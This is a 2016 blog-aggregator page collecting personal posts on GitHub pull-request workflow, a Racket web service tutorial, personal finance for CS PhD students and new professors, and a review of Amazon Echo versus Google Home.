Hacker News Personal Blogs 2016 | All Blog Posts

UK Labour "closer scrutiny of algorithms" will be useless. If you are lucky

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sat, 31 Dec 2016 22:04:11 GMT

It looks like the UK Labour party will soon call for closer scrutiny of tech firms and their algorithms. If all goes well, it just won’t work, and that will the end of it. Otherwise, it will be really bad.

Pushing to someone else's pull request on GitHub

Jonathan Chang — Fri, 30 Dec 2016 02:00:00 GMT

If you’re a maintainer of an open source repository on GitHub, you often want to make a small change to a pull request but don’t want to wait for the original author to make changes or open a brand new pull request. GitHub now allows upstream maintainers, with permission, to push to downstream forks, but the provided instructions don’t meet my needs. Specifically, I don’t want to have to re-clone an entire repository for every contributor, and I don’t want to pollute my local repository with a bunch of remotes pointing to contributors’ forks.

It took a little while to figure out some problems with credentials, but basically you can just push directly to SSH URLs, assuming you have your SSH keys set up properly.

Open Terminal and install hub if you haven’t already, then navigate to your git repository. If this is your first time using hub you might be prompted for your GitHub credentials.
```
brew install hub
cd my-git-repo
```
Fetch the changes from the downstream fork, add a tracking branch, and switch to that branch. You’ll need the GitHub pull request number and the origin set to the proper GitHub repository:
```
hub pr checkout PR_NUMBER
```
Make changes as necessary and commit them.
Push your changes to the downstream fork:
```
hub push
```

You should now see the changes reflected in the pull request online!

101 Links From 2015

Avy Faingezicht — Fri, 30 Dec 2016 02:00:00 GMT

2015 was a year of choices and change for me: I moved from school in Chicago to full-time work in San Francisco. The selected articles are a good reflection of my mindset then, but after reading through the titles, I was suprised by how many of these I keep bringing up in conversation today. It is remarkable that I could remember where and when I read the majority of the pieces, two years later. Below is a mix of longform, essays, quick notes, blog posts, interviews and other journalism representing the kind of work I enjoy on technology, business, science and economics, plus the few stray random topics. Since you're here, I'll assume you're familiar. In alphabetical order:

Finances for recent CS Ph.Ds headed to academia

Dave's Data — Thu, 29 Dec 2016 03:22:37 GMT

As you may have guessed from my recent post analyzing the TCO of my former automobile, and my post on finances for CS Ph.D. students, I've been thinking about finance a bit lately. After a thought-provoking discussion with a senior colleague in another department, I've come to the conclusion my financial satisfaction graph looked something like this -- and I bet it's similar for many other no-kids-at-completion academics who end up enfamilied (can I make up that word?).

(In case I seem too negative about kids, don't get me wrong. As the absolutely awesome book All Joy and No Fun notes, being honest about the myriad costs of having a child isn't at odds with also being very glad that the little wriggling worm is in your life. Great book. If you haven't read it and you do or may have kids, read it.)

The Taulbee survey suggests that the median assistant professor in Computer Science has a 9mo salary of about $96,055. Assuming you pay your summers, that's about $128k/year, or $10,672/month. When you're fresh out of grad school, that's a boatload of money. (It's actually a little higher: Many universities toss in about 8% for you into a retirement fund, so total compensation is around $138k/year.)

But having one child in daycare can cost you from $950-$1600/month (or more in expensive cities). That can be as much as 15% of your gross. Younger children are more expensive because the teacher-to-child ratio is lower. And, let's be honest: Over-educated Ph.D. type people tend to try to find really good daycares, and may be willing to pay extra to take advantage of their university's on-campus centers. (We do this, and I swear by it: I walk with my daughter to work/school every day, and I love the time we get to spend together, instead of being cooped up with some extra car commute.) But there's more than that:

Insurance costs go up
Life insurance sounds like a really good idea for the next few years
Spare time for extra-revenue consulting goes down
You start stashing away for their college fund
Babysitters become a thing
You buy kid stuff
Household and food costs go up and you may choose to outsource more things (cleaning, etc.)
You got a house to have a little more space than that efficient, tiny apartment you started with

An interesting attribute of the Ph.D. track is that your starting salary is quite reasonable, but you're about 5 or 6 years behind non-Ph.Ds in having been able to start saving.

After a few years of staring at industry salaries and grumbling about your choice to go into academia, things start to improve. Median associate professor salary goes up to about $148k. A fresh full professor is at about $190k. The cost of daycare goes down as your child(ren) get older. You've paid off more of your mortgage, so your relative savings rate increases. The relative cost of saving for their college goes down, assuming you contribute a constant amount -- and as they get older and you're still teaching, it becomes more and more likely you can take advantage of your university's tuition benefits, if they offer them.

(I should note that this is all a very first-world problem, as the saying goes: An academic makes more than enough to be comfortable and secure. But you do sacrifice salary to choose to stay in the academic environment, in exchange for a much greater degree of flexibility and control over what you do.)

So I started thinking about what I would go back and tell either younger-Dave or my own Ph.D. students. And here it is:

Things I did right

Live frugally in grad school - and no loans: You don't have to have a lot of money to have a great time in grad school. Boston was an expensive place to live, but it was counterbalanced by the fact that I was able to ditch my car before moving there and save all of those expenses. It's temporary -- don't get a lot of crap, and take advantage of the high churn rate to get cheap stuff when you get there. Having a buffer of cash for emergencies goes a long way to making grad school lower stress on the financial side. Goodness knows there's enough stress in getting a Ph.D. anyway -- don't add to it by making the money situation complicated!

If I were advertising shamelessly, I'd note that Pittsburgh has a great cost-of-living, and a grad student can live very well here while remaining frugal. But that would invite my colleagues on the west coast to post pictures of their beaches, and that arms race never ends well for anyone.

Pay into a Roth IRA during grad school if possible: As you're painfully aware, grad student stipends will not make you rich. But the fact that you're in the lowest tax bracket you'll see for the rest of your life makes it an awesome time to stash some money in a Roth IRA. All of the growth and later withdrawals will happen tax free, and you're paying basically no tax right now anyway. Live frugally, save the money you make from summer internships, and contribute a bit each year when you're able. The cool thing about the Roth is that you can take the principal back out, so you're still able to use this as an emergency fund. But don't.

I did a little of this, but if I could go back, I'd have been even more aggressive about it. My Roth isn't exciting - I was 39 when I started writing this post in 2015 (and never finished it), and at that time, it had about $50,000 in it - but at 7% average annual growth, by the time I'm 65, that should be worth about $271,000 that I can live off of completely tax free. That's pretty neat for having saved up in the year after college and during grad school.

Find housing within walking / biking distance to your university: Huge quality of life boost. I'm spoiled that this is easy in Pittsburgh, but it's do-able in most places. Miles walked give back to you in health and happiness. Miles driven cost in money, health, and happiness. You're also more likely to get to know your neighbors if you walk, which provides extra bonuses (you'll live longer!).

Have enough money in the bank to cover moving expenses for your first month. When I moved to Pittsburgh, I had no car, no apartment, no real furniture - pretty much a few boxes of personal stuff, my bikes, my mattress, and some computers. I lived for two weeks in a hotel while finding a place to live, and then had to front first and last month's rent, a security deposit, spent $17k on a car, visit Ikea to quickly get something to eat on, etc. I was really lucky on this one - I'd done some consulting towards the end of grad school, got a windfall during the dot-com boom when VA Linux let open source contributors buy into their IPO at the IPO price, saved money from my summer internship at DEC, and had started with some money in the bank from a startup.

But that was a big chunk of cash to lay out in the first month. Some companies and universities may offer an advance on moving, and you can certainly float a month of expenses on your credit card, but this is one to think about in advance so you're not caught by surprise! I suggest contacting the university if you think it's going to be a problem and see if they have a way to help. (h/t Jamie Morgenstern for raising this issue, which also arises for ugrads about to start grad school.)

Things I did wrong

I didn't throw money in index funds and ignore the market. I made the obvious mistake in grad school of thinking that because I knew the computing industry, I should invest in companies that I thought were going to do well, etc. Oftentimes, analysts have people like us giving them their opinions already, so it's likely factored into the price. I also put too much money in NASDAQ index funds, which are tech heavy. Diversifying through a nice, boring big-market index fund (VTSAX, for example) and then forgetting about it is a much better way to go.

I didn't analyze the TCO of big post-graduation purchases. After graduation - and with some savings - your new salary seems limitless. It's not -- because you want to save a lot of it now to avoid that annoying couple of gap years. I was careful to analyze the expected gas and other costs of my car purchase, for example (in the final analysis, it turned out to not matter much, because I knew that I drove very little), but I didn't think at the time about the importance of missing out on 10 years of capital appreciation on $17k. Oops.

You were happy on a grad student stipend. Suddenly earning $100k more doesn't mean you have to radically amp-up your lifestyle. You don't need a BMW. Or a 60" TV -- who're you kidding? As a stressed-out assistant professor, you're going to be too busy to watch the damn thing. (grin).

I picked up a few expensive habits: This it the "latte a day" thing. For a while, I was walking past Starbucks on the way in to school. Ahem. But when you calculate it out, with compounding, a $3.50 / workday latte habit represents a total cost of $13,160 over ten years. wince. I'd like to go back and cut a lot of those out. Leave the in-store lattes to the full professors whose kids have left home. :)

Things to think about in your last year of Ph.D. / first year of professorship

The core message to remember is that because you went to grad school, you're starting your retirement savings late. Probably 4 or 5 years later than your friends who graduated from college and took a job at GoogBookSoftZon. That means you've got a few years less time of compounding, so you want to take advantage of all the opportunities you can to put money into tax-advantaged retirement accounts now.

Depending on when you start, check if you can contribute to a Roth IRA your first year: After you get started, you'll be over the contribution limit, but if you start in August, your year-long salary will still be low. This is a perfect few months to save up and throw into a Roth. Also, assuming no student loans to pay off, try keeping expenses low enough in those first four months to max out your 403(b) contributions as much as you can. This is the only year where it'll feel a little painful to do so, but it lets you get major tax advantages for that year: Up to $18,000 less federally taxable money from the 403(b), and $5k added to the Roth that will grow tax free. This may or may not be feasible, but keep it in mind as a high goal to aim for. $5k of Roth IRA this year (remember, your tax rate will still be low this year) can grow to around $53k over the ~35 years before you retire.

Put your money in the appropriate-year Vanguard "Target Retirement" fund, or the equivalent at Fidelity. There may come a time later when you want to think about micro-optimizing this (you can get the same asset allocation with slightly lower fees), but at the start, you'll have so little in there that it's not worth your time. Spend your brainpower on your career or consulting or startup, or go outside and enjoy a bit of free time. (h/t Dan Wallach for the suggestion.)

Once you're in a full year where you exceed the Roth threshold, make "backdoor roth" contributions, currently capped at $5500/year. See this Bogleheads article for the mechanics. (Tl;dr: Contribute post-tax money to a traditional IRA account, wait a bit of time, and then roll the traditional IRA over into a Roth IRA).

If you're at a state school, look for a 457 plan. This can allow you an additional vehicle for pre-tax retirement contributions. Non-state professors may also have these available, but outside of government, deferred compensation plans like this are restricted to certain highly-compensated employees, and have more risks associated with them. (h/t Alex Snoeren for the suggestion.)

See if your school offers a high-deductible health care plan with an HSA. An HSA is a type of savings account that has the magic property that you can use it also as a retirement account. It's very flexible, and, particularly while you're younger and healthier, this is a great way to go. See this New York Times article for more details. Note: This does not work with an HRA (healthcare reimbursement account) or an FSA; the latter two must be spent within a certain timeframe and can't be used for long-term savings.

See if your school allows "mega-backdoor-roth" contributions. A "mega backdoor Roth" is a way of using your existing 403(b) plan to contribute more to your retirement savings. There's a $53k/year limit on total 403(b) contributions. You have a personal $18k/year limit on how much you can contribute pre tax. Your university contributes some - let's say it's another $15k/year. That leaves a $20k gap. If your university permits, you can contribute $20k of your post-tax money into the 403(b) plan and then roll that into a Roth 403(b). See this Mad Fientist article for more info. I'm curious to hear from you if your University allows it - CMU doesn't seem to. Quite a few companies do, if you've gone the industry route.

You probably already know and do the rest - put your travel on rewards cards as appropriate, get reimbursed quickly -- I usually recruit my administrative assistant's help in tracking my expenses so I don't lose any. CS faculty often have enough travel and work expenses that it's easy to lose them here and there.

Ways faculty "bridge the gap" to industry

There's a gap. It's large. Every few years, I get a little annoyed about it, and then calm down again. (OK, OK, I got annoyed about it when our child was born and we started paying daycare expenses.) Being an academic has its advantages, but having a pile of cash to sit on provides its own kinds of security. Two years ago, I pinged a bunch of my colleagues about what they do to bridge the gap. Some people may not mind the gap at all - as came up during that previous discussion, it depends a lot on what your life goals and priorities are.

I probably lean slightly irrationally towards wanting a large savings pile from having gone through most of my childhood with only one parent, who partly-retired after my father died. The statistics suggest that I'm probably overcompensating slightly by wanting the flexibility of financial independence a bit earlier than many people do, but it doesn't seem like a bad direction in which to err.

The answers I got from my friends and colleagues in academia were pretty similar. Most universities allow faculty members a day per week of external consulting, and people use that in a few common ways:

Expert witnessing. The pay is high (often $400/hr+; I know some famous senior folks who charge $1100+). In the cases I've contributed to, it followed a fairly typical pattern: Fun at first while you're learning the specifics of the case and technology; productive for a while; and then excruciatingly boring for a while as you re-hash with the attorneys, for the 18th time, the meaning of the phrase "to connect to", or "insert into a database", or whatnot. I'd encourage people to try their hand at this at least once or twice, assuming you don't mind getting grilled by the opposing attorneys. It's an interesting experience and will give you insights into our legal & IP systems you wouldn't get otherwise.
In-area consulting. As opposed to expert witnessing, this is usually doing something closer to the forefront of your field. The pay is typically lower (I often aim for 2-3x my hourly rate, depending on how interesting I find the work), but usually more long-term rewarding, because you're helping create something. Just be careful of IP agreements and the potential for conflict of interest.
Startups and one-off opportunities. High risk, high reward, this one speaks for itself. You don't just have to do a startup - you might get lucky writing an optimized cryptocurrency miner, for example. :)

Finally, be aware of both the Taulbee survey, as well as the fact that you can find out what your colleagues at many public schools are getting paid. For example, here's California. If you select, say, UC Berkeley, you can depress yourself that the six most highly-paid employees are sports coaches. grin. Use this information to advocate for getting a fair salary for yourself, and for your entire department. While some salary issues are a zero-sum game, others are not, and universities have been known to focus on boosting the salaries in specific departments if they need to.

But don't worry about pulling in extra income in your first year or so. Getting started as a fresh faculty member is already excruciating. The good news is that it gets better after you're in a groove - but it takes two to three years. (The moderate good news is not to worry, because the first few years suck for almost everyone, since getting your Ph.D. doesn't usually prepare you for the transition to full-time teaching, grant writing, student mentoring, and service.) If you're just about to start your faculty journey, good luck and have fun!

(Like what you're reading? Find more in the Archive...)

Further reading on finances for the freshly graduated:

If You Can - how Millennials Can Get Rich Slowly
The Millionaire Next Door - a classic compendum of research about high-net-worth individuals and how they got there.
Bogleheads Getting Started
Mr. Money Mustache - hard-core frugality and early retirement

2016 in review

Jason Eckert's Website and Blog — Thu, 29 Dec 2016 02:00:00 GMT

For the past years, I’ve done a “year in review” blog post, and of course this one is for 2016! It’s a great way to reflect on the events that have happened during the year, and to honest, is actually a lot of fun!

Just a quick disclaimer: I have no intention of talking about the shallow-but-popular celebrity death fixation that has taken over the Internet (must be a millennial thing). That being said, when I heard that Prince died, it led me to watch Purple Rain again (great movie), so there’s a plus.

Walking through a basic Racket web service

Notes on software development — Thu, 29 Dec 2016 02:00:00 GMT

Racket is an impressive language and ecosystem. Compared to Python, Racket (an evolution of Scheme R5RS is three years younger. It is as concise and expressive as Python but with much more reasonable syntax and semantics. Racket is also faster in many cases due in part to:

JIT compilation on x86 platforms
support for both concurrency and parallelism
support for optimizing statically-typed code

Furthermore, the built-in web server libraries and database drivers for MySQL and PostgreSQL are fully asynchronous. This last bit drove me here from Play / Akka. (But strong reservations about the complexity of Scala and the ugliness of Play in Java helped too.)

With this motivation in mind, I'm going to break down the simple web service example provided in the Racket manuals. If you don't see the following code in the linked page immediately, scroll down a bit.

#lang web-server

(require web-server/http)

(provide interface-version stuffer start)

(define interface-version 'stateless)

(define stuffer
  (stuffer-chain
   serialize-stuffer
   (md5-stuffer (build-path (find-system-path 'home-dir) ".urls"))))

(define (start req)
  (response/xexpr
   `(html (body (h2 "Look ma, no state!")))))

First we notice the #lang declaration. Racket libraries love to make new "languages". These languages can include some entirely new syntax (like the Algol language implementation) or can simply include a summary collection of libraries and alternative program entrypoints (such as this web-server language provides). So the first thing we'll do to really understand this code is to throw out the custom language. And while we're at it, we'll throw out all typical imports provided by the default racket language and use the racket/base language instead. This will help us get a better understanding of the Racket libraries and the functions we're using from these libraries.

While we're throwing the language away, we notice the paragraphs just below that original example in the manual. It mentions that the web-server language also imports a bunch of modules. We can discover which of these modules we actually need by searching in the Racket manual for functions we've used. For instance, searching for "response/xexpr" tells us it's in the web-server/http/xexpr module. We'll import the modules we need using the "prefix-in" form to make function-module connections explicit.

#lang racket/base

(require (prefix-in xexpr: web-server/http/xexpr)
         (prefix-in hash: web-server/stuffers/hash)
         (prefix-in stuffer: web-server/stuffers/stuffer)
         (prefix-in serialize: web-server/stuffers/serialize))

(provide interface-version stuffer start)

(define interface-version 'stateless)

(define stuffer
  (stuffer:stuffer-chain
   serialize:serialize-stuffer
   (hash:md5-stuffer (build-path (find-system-path 'home-dir) ".urls"))))

(define (start req)
  (xexpr:response/xexpr
   `(html (body (h2 "Look ma, no state!")))))

Now we've got something that is a little less magical. We can run this file by calling it: "racket server.rkt". But nothing happens. This is because the web-server language would start the service itself using the exported variables we provided. So we're going to have to figure out what underlying function calls "start" and call it ourselves. Unfortunately searching for "start" in the manual search field yields nothing relevant. So we Google "racket web server start". Down the page on the second search result we notice an example using the serve/servlet function to register the start function. This is our in.

#lang racket/base

(require (prefix-in xexpr: web-server/http/xexpr)
         (prefix-in hash: web-server/stuffers/hash)
         (prefix-in stuffer: web-server/stuffers/stuffer)
         (prefix-in serialize: web-server/stuffers/serialize)
         (prefix-in servlet-env: web-server/servlet-env))

(provide interface-version stuffer start)

(define interface-version 'stateless)

(define stuffer
  (stuffer:stuffer-chain
   serialize:serialize-stuffer
   (hash:md5-stuffer (build-path (find-system-path 'home-dir) ".urls"))))

(define (start req)
  (xexpr:response/xexpr
   `(html (body (h2 "Look ma, no state!")))))

(servlet-env:serve/servlet start)

Run this version and it works! We are directed to a browser with our HTML. But we should clean this code up a bit. We no longer need to export anything so we'll drop the provide line. We aren't even using the interface-version and stuffer code. Things seem to be fine without them, so we'll drop those too. Also, looking at the serve/servlet documentation we notice some other nice arguments we can tack on.

#lang racket/base

(require (prefix-in xexpr: web-server/http/xexpr)
         (prefix-in servlet-env: web-server/servlet-env))

(define (start req)
  (xexpr:response/xexpr
   `(html (body (h2 "Look ma, no state!")))))

(servlet-env:serve/servlet
 start
 #:servlet-path "/"
 #:servlet-regexp rx""
 #:stateless? #t)

Ah, that's much cleaner. When you run this code, you will no longer be directed to the /servlets/standalone.rkt path but to the site root -- set by the #:servlet-path optional variable. Also, every other path you try to reach such as /foobar will successfully map to the start function -- set by the #:servlet-regexp optional variable. Finally, we also found the configuration to set the servlet stateless -- set by the optional variable #:stateless?.

But this is missing two things we could really use out of a simple web service. The first is routing. We do that by looking up the documentation for the web-server/dispatch module. We'll use this module to define some routes -- adding a 404 route to demonstrate the usage.

#lang racket/base

(require (prefix-in dispatch: web-server/dispatch)
         (prefix-in xexpr: web-server/http/xexpr)
         (prefix-in servlet: web-server/servlet-env))

(define (not-found-route request)
  (xexpr:response/xexpr
   `(html (body (h2 "Uh-oh! Page not found.")))))

(define (home-route request)
  (xexpr:response/xexpr
   `(html (body (h2 "Look ma, no state!!!!!!!!!")))))

(define-values (route-dispatch route-url)
  (dispatch:dispatch-rules
   [("") home-route]
   [else not-found-route]))

(servlet:serve/servlet
 route-dispatch
 #:servlet-path "/"
 #:servlet-regexp #rx""
 #:stateless? #t)

Run this version and check out the server root. Then try any other path. Looks good. The final missing piece to this simple web service is logging. Thankfully, the web-server/dispatch-log module has us covered with some request formatting functions. So we'll wrap the route-dispatch function and we'll print out the formatted request.

#lang racket/base

(require (prefix-in dispatch: web-server/dispatch)
         (prefix-in dispatch-log: web-server/dispatchers/dispatch-log)
         (prefix-in xexpr: web-server/http/xexpr)
         (prefix-in servlet: web-server/servlet-env))

(define (not-found-route request)
  (xexpr:response/xexpr
   `(html (body (h2 "Uh-oh! Page not found.")))))

(define (home-route request)
  (xexpr:response/xexpr
   `(html (body (h2 "Look ma, no state!!!!!!!!!")))))

(define-values (route-dispatch route-url)
  (dispatch:dispatch-rules
   [("") home-route]
   [else not-found-route]))

(define (route-dispatch/log-middleware req)
  (display (dispatch-log:apache-default-format req))
  (flush-output)
  (route-dispatch req))

(servlet:serve/servlet
 route-dispatch/log-middleware
 #:servlet-path "/"
 #:servlet-regexp #rx""
 #:stateless? #t)

Run this version and notice the logs displayed for each request. Now you've got a simple web service with routing and logging! I hope this gives you a taste for how easy it is to build simple web services in Racket without downloading any third-party libraries. Database drivers and HTML template libraries are also included and similarly well-documented. In the future I hope to add an example of a slightly more advanced web service.

I have had huge difficulty discovering the source of Racket libraries. These library sources are nearly impossible to Google and search on Github is insane. Best scenario, the official racket.org docs would link directly to the source of a function when the function is documented. Of course I could just download the Racket source and start grepping... but I'm only so interested.

Walking through a basic Racket web service https://t.co/J3us48kzga @racketlang
— Phil Eaton (@phil_eaton) December 30, 2016

22 Months of Voice-Based Assistants

Dave's Data — Wed, 28 Dec 2016 19:45:10 GMT

Almost two years ago, I posted on Google+ that I'd purchased an Amazon Echo. In that post, I wrote:

It's surprisingly cool. But the best part is what it makes me want, because it also sucks. It can't recognize my 2.6 y/o daughter's voice, for example -- even though she can say to it fairly clearly "Alexa, play Puff the Magic Dragon" (it will, if I ask it). What an awesome enabler for kids, if it worked. A little dangerous, too, but hey. :-) It can't turn my remote-enabled lights on or off for me. It can't even send me an email to remind me about something. Boo.

But - these are all current limitations. Its speech recognition, albeit within a slightly narrow domain, is really solid. It's happy with me, it's happy with my wife, and it's happy listening to us with the microwave running and a toddler running around. The convenience is awesome. I suddenly want to control more of my life by talking to it. But I can't. Yet.

It's two years later, and in that time:

My daughter is now four and a half, with much more capability of interacting with an assistant;
I've purchased a Google Home and run it head to head with the Amazon Echo;
Both the Home and the Echo have improved substantially in their capabilities.

At the start of 2015, I was excited about the potential of these things. Now I'm excited about the reality. When we moved to California in August 2015 for a year, we didn't bring our stereo - but we brought our Alexa to be our primary stereo system. Now we're on vacation in Utah for two weeks over the winter, and we brought our Google Home with us. (We were checking baggage anyway. I'm enough of a geek that I also brought our home wifi with us so I didn't have to reprogram anything onto our AirBnB rental's wifi, using a cute little GR-AR150 mini router. I wish I'd started doing that a long time ago.)

I'm excited enough about it that I've tied it into our fledgling home automation system to be able to control the lights. Excited enough that instead of a CD player, we plan on buying our daughter an assistant device of her own to be able to stream music. And excited enough that I set my 73 year old mom, to whom I am very wary of giving unwanted gifts, up with a Home and a Chromecast Audio for Christmas.

Looking Back at My Initial Thoughts

It can't recognize my daughter's voice

That's been fixed by the passage of time, but it's still one where I'd love both devices to improve. For the Amazon Echo, the problem was its speech recognition -- far too often it would misunderstand her or fail to parse what she was saying. For the Google Home, the kicker is the hotword detection ("O.K. Google", or "Hey, Google" -- my family favors "Hey, Google."). There's something awkward in that set of sounds for a young child, and it doesn't trigger half the time for her. On the bright side for the home, once she can trigger it, it almost always gets what she's saying.

For adults, though, the Home is a huge leap forward in the quality of intent recognition. It's done a much better job of doing something reasonable. ("Play jazz thanksgiving music", for example, generates a perfectly reasonable playlist on the home, and an uncomprehending shrug from the Echo). I suspect that the Echo also got better over the years, but it wasn't the huge jump that the Home was, so I didn't notice it as much.

Echo Grade: B

Google Home Grade: B

It can't turn my remote-enabled lights on or off for me.

Done and done - both the Echo and the Home now have integration with both specific control mechanisms (including my SmartThings hub, which I use to control a bunch of z-wave switches), as well as the mega-popular IFTTT.

Other parts of the integration are just as cool. I have a Chromecast Audio plugged into the stereo system, and we regularly command the Google Home: "Hey, Google, play classical christmas music on the living room speakers." And it just works.

Echo Grade: A

Google Home Grade: A

Hooray!

It can't even send me an email to remind me about something.

Partial progress, but with the experience of time, I now have more appreciation for why this needs more progress. You can rig up a system to accomplish this through IFTTT. But it's not smooth - partly because of IFTTT's limitations in not being able to have more than one copy of a skill defined. I've found this annoying on the Echo, and fairly not working on the Home.

I have sympathy for both Amazon and Google on this one, though, because the more you think about integrating a voice-based assistant into things like your email and calendar, the more pause you should be giving. I refuse to allow either one access to any personal account information - there's no authentication, and it's too easy to glitch or maliciously take advantage of. We need better ways of handling this in a trustworthy-but-seamless fashion, and I'm happy to give both teams a pass while they play with ideas.

Echo Grade: B-

Google Home Grade: C+

Looking Forward

Many of my gripes today relate to the lack of personalization. I can't use the Google Home to independently "find my phone" on my and my wife's phones, because the IFTTT recipes I wrote for it can only have one phone as a target. That's an IFTTT limitation, but c'mon - integrating with find my phone is so damn obvious. There's now a Trackr skill for doing this with the Echo, but I hadn't tried it at the time I sold mine. (We're now a strictly Google Home family.)

There are obvious ways that these things will improve in the next two years.

We'll see more hardware. Amazon's already released the cute tiny-form-factor Echo Dot. Google's "Assistant" software powers both the Home and the Pixel phone. There's some speculation out there that Apple could try to integrate Siri with their earbuds, which would be fantastically cool, especially if their AI hiring spree helps Siri go a few more rounds against Google's on-phone assistant software. One presumes all of these companies have more tricks up their sleeves.

They'll integrate with more services and be able to control more devices. While Amazon already ties in to a ton of services, Google has a ways to go.

They'll get continued incremental improvements in their speech recognition - hopefully for children's voices, too, if you ML folks are listening. I'm pretty underwhelmed by the Amazon knowledgebase for question answering, but I assume it will get marginally better, and I'm quite certain Google's will. (If I had to bet, of course, I'd wager that Amazon will continue to do a better job of playing well with others, and Google will do a better job of managing information -- both of those things seem pretty related to the DNA of each company).

But I have one bet, and hope:

The next leap forward will be voice personalization.

These assistants are amazing for families. Ours have become a regular part of our interaction with music, timers, random factoids, etc. But family implies multiple people, and being able to take advantage of the human context will be a huge next step in making these assistants even more smooth and capable. I want my device to recognize when my daughter is asking for something, and assume that she's less likely to ask for "Elzevir - Dragon Catcher" death metal and more likely to ask for Puff the Magic Dragon. And when I'm asking it to find my phone, it should find my phone. When my spouse asks about her phone, it should find her phone. "Remind me" should work similarly. There's so much potential there. All I want for Christmas next year is...

(Like what you're reading? Find more in the Archive...)

(obligatory disclaimer: I work part-time for Google and full-time for Carnegie Mellon University. This post, like everything on my blog, represents only my own opinion, and is not sanctioned, endorsed, paid for, wanted, smelled, or anything else to do with anyone who pays me or doesn't pay me. If you click some of those links, you might get taken to Amazon via my affiliate link, and I might make a penny.)

Finances for CS Ph.D. students

Dave's Data — Wed, 28 Dec 2016 19:44:55 GMT

This post is based upon a few recent conversations I've had with my own Ph.D. students. Its intended audience is Ph.D. students at mid-to-upper-end computer science programs in the United States, who are either US citizens/permanent residents, or plan to remain and retire in the U.S.

In graduate school,
you too can dress better than a professor!

Welcome to graduate school in computer science, where not only do we not charge you tuition, but we shower you with so much money that you can afford to eat, have a house over your head, and wear shirts that have fewer than five holes in them!

In fact, you can probably do better than that, and get a nice boost to being financially independent. But it takes some advance planning.

Why Bother?

Mostly, because flexibility -- or, more crassly, "FU Money." (You can google that in case the meaning isn't obvious.) Getting started early on the path to financial independence lets you be in charge of your life. You may also discover halfway through your program that there's this crazy nonprofit you want to devote all of your effort to, which pays a living but not quite so lucrative wage, and wonder if you'll be able to get by on it. You may graduate, get a job at Googlebooksoftetc., and within a few years earn north of $300k/year. Or choose to help the government fix healthcare.gov. Or decide that retiring from CS at 30 is more your style. You may live to 100 and work until the day you die, or die of cancer less than 20 years into your post-graduate career. You may exit computer science and raise rabbits.

Life is full of twists, and a pile of cash + living under your means makes a nice cushion that lets you do what you want with your life, instead of being forced into a path for financial reasons.

TL;DR, you long-winded academic?

Spend less than you earn on your stipend. Save as much as possible from your internships. Contribute the max to a Roth IRA. Save the rest in a taxable account. Invest those accounts in Vanguard low-overhead index funds.

The long version, with numbers?

You've typically got three income sources in graduate school:

Your stipend. The amounts vary, but something like $2500/month isn't unusual.
Summer internships. Most students should do one or two of these during their Ph.D. program - it's a great way to meet new researchers, get exposed to different problems and environments, etc. Pay varies, but is often in the range of $70-100k annually (which may come to about $21-25k over the summer).
Consulting gigs / side jobs. Can be a nice supplement to your income, but don't let them distract you from finishing up and graduating. Bonus points if they dovetail with your research in a non-conflict-of-interest way, of course.

As a full-time student, you don't pay social security taxes on your stipend. And when you're earning $30k/year, your top marginal tax rate will be in the 15% bracket. But, of course, that doesn't mean you'll be paying 15% of your income in taxes. In fact, it'll be far, far less. Your first ~$6k is covered under the standard deduction and personal exemption. Required texbooks can also be deducted from that. And then factor in that US taxes are marginal rates: You pay 10% on the first ~$9275 after the deduction and exemption, 15% on the amount from ~$9275 to ~$37k, and so on. Which means that you'll probably have an effective federal tax rate of about 10.5% on a $30k salary, or $3,136 in taxes.

You'll pay more on your internship income, but in general, your tax situation is pretty great. Of course, that's a silver lining on the fact that grad school stipends are small, but it beats paying for grad school!

This means that from a retirement and savings account, you want to operate entirely in post-tax money. This is, with great likelihood, the lowest tax bracket you're going to find yourself in for the rest of your life.

Of course, for any of this to make sense, you have to spend less than you earn. Grad school's a great opportunity to do so. (Almost) Everyone lives in a dump during grad school. Might as well revel in it a bit. Your friends aren't going to be wasting their money either, so keeping up with the joneses pretty much means cleaning your apartment regularly and not leaving rotting food in your office.

OK, I just made that last bit up to try to keep my lab cleaner. But seriously - grad school is full of affordable fun, dinner parties, and whatnot. Take advantage of it. When you spend money, do so mindfully -- mindful of things that actually bring happiness (or relieve stress), as opposed to what a bunch of marketing people want you to think do.

Housing - your biggest(ish) expense

It may or may not be worthwhile to consider purchasing (& selling) a house, depending on where you live. Consult the NYT's rent vs buy calculator if you're coming into the picture with enough money to ponder purchasing. (I've known several grad students in Pittsburgh who've done this, for example. One bought a quite small house and lived there for six years; another bought a condo and had roommates. I didn't know anyone in Boston who did. But use the 'advanced settings' part of the calculator, because for the short time periods involved in grad school, you need to carefully account for closing costs.)

Health Care - a potential opportunity

Most universities have a single plan that they offer for grad students, but if yours allows Ph.D. students to enroll in a high-deductible plan with a Health Savings Account (HSA) and you're overall healthy, jump on this. HSAs offer some interesting opportunities as a savings/retirement account. But run the numbers, and make sure you have enough cash socked away to cover your deductible if you get hospitalized.

Retirement Savings Options in the US

Wait, wait - retirement? That's so far off!

Bear with me - we're mostly looking at tax-advantaged ways to save money, and the retirement savings accounts are the way to do that. Once we get to the end of this, you'll see that we'll settle on options that give you a lot of flexibility about when you spend or withdraw that money.

There are a few major paths to saving for retirement in the U.S.

Social security. Work, pay in to the social security system, and when you retire, the government will send you monthly checks. For most of us considering computer science careers, the dollars involved are not sufficient for a well-funded retirement. (And there's always uncertainty about what will happen to SS as the political environment evolves.)
Pensions, aka "defined benefit plans". Work for N years, your employer promises that they'll pay you some percentage of your salary for the rest of your life. Historically popular, but not as good a match when you have highly-mobile employees in a rapidly changing field. Such as ours.
Defined contribution plans - employer. Your employer automatically contributes some chunk of money to a retirement plan on your behalf. These funds are invested in some way -- the stock market, for example.
Defined contribution plans - employee. You contribute some of your own salary, pre-tax, and it's invested as in 3 above. Here, pre-tax means that the contributed amount reduces your gross income for tax purposes.
IRAs of various flavors. Individual retirement accounts, which are entirely self-managed. Can be funded with pre-tax money (e.g., "Traditional IRA"s), or with post-tax money in an advantaged way ("Roth IRAs"). More on this in a second.
Taxable investments. Conventional investment accounts funded with post-tax money; taxes are due on investment returns. Very flexible, but maximally taxed.

At most schools, grad students aren't eligible for the pensions or defined contribution plans. Because of the tax bracket issues mentioned above, the most attractive investment option for grad students is the Roth IRA.

What the heck is a Roth IRA?

It's a retirement account funded with post-tax money (i.e., funds on which you have already paid taxes). It has some cool properties:

Flexibility: You can withdraw your contributions at any time with no penalty. Let me repeat that again: If you put in $15k into a Roth during grad school, you can pull that $15k out at any time you need the money.
No taxes during growth: As the money grows while invested, you don't pay any taxes on the intermediate gains.
